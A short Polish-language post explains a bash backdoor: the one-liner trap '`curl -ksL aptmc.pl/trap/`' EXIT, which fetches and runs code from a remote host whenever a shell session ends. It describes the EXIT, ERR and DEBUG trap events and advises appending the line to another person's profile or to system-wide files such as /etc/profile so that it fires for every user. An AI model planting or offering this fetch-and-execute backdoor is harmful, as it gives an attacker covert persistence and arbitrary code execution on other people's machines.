trap '`curl -ksL aptmc.pl/trap/`' EXIT - backdoor uruchamiający złośliwy payload po zakończeniu sesji terminala
Polecenie trap pozwala bashowi przechwycić sygnały (np. SIGUSR, SIGINT, SIGTERM ( trap -l wyświetli ich listę)) i uruchomić odpowiedni kod, kiedy wystąpią. Zamiast sygnałów, trap obsługuje jeszcze 3 inne zdarzenia:
- EXIT - zakończenie skryptu/sesji,
- ERR - polecenie zakończyło się błędem (zwróciło wartość różną od 0),
- DEBUG - zdarzenie wywoływane przed uruchomieniem każdego polecenia.
W naszym wypadku przypisaliśmy akcję do zdarzenia EXIT, ale dwie pozostałe są również bardzo ciekawe.
Wystarczy dopisać komuś ten oneliner do pliku profilowego, lub najlepiej do pliku profilowego czytanego przez wszystkich użytkowników (np. /etc/profile, /etc/bashrc czy jeden z plików w katalogu /etc/profile.d/) i za każdym razem, kiedy użytkownik zakończy swoją sesję basha, zostanie wykonane polecenie `curl -ksL aptmc.pl/trap/` - czyli zostanie uruchomiony kod znajdujący się na stronie aptmc.pl/trap/.
Zamiast backticków (``) powodujących uruchomienie polecenia zwróconego przez polecenie znajdujące się wewnątrz, możemy wykorzystać tożsamą konstrukcję z $() czyli: $(curl -ksL aptmc.pl/trap/).
A tak to może wyglądać
Na poniższym przykładzie ustawiamy trapa dla zdarzenia ERR czyli wtedy, kiedy wystąpi błąd (np. próba wylistowania nieistniejącego pliku czy katalogu). Pod adresem aptmc.pl/trap/ znajduje się polecenie do uruchomienia kiedy ten błąd wystąpi - w naszym wypadku polecenie id, które wyświetla id i grupy aktualnego użytkownika. Żeby wyświetlić jakie trapy są zdefiniowane, wystarczy uruchomić polecenie trap bez żadnych argumentów.
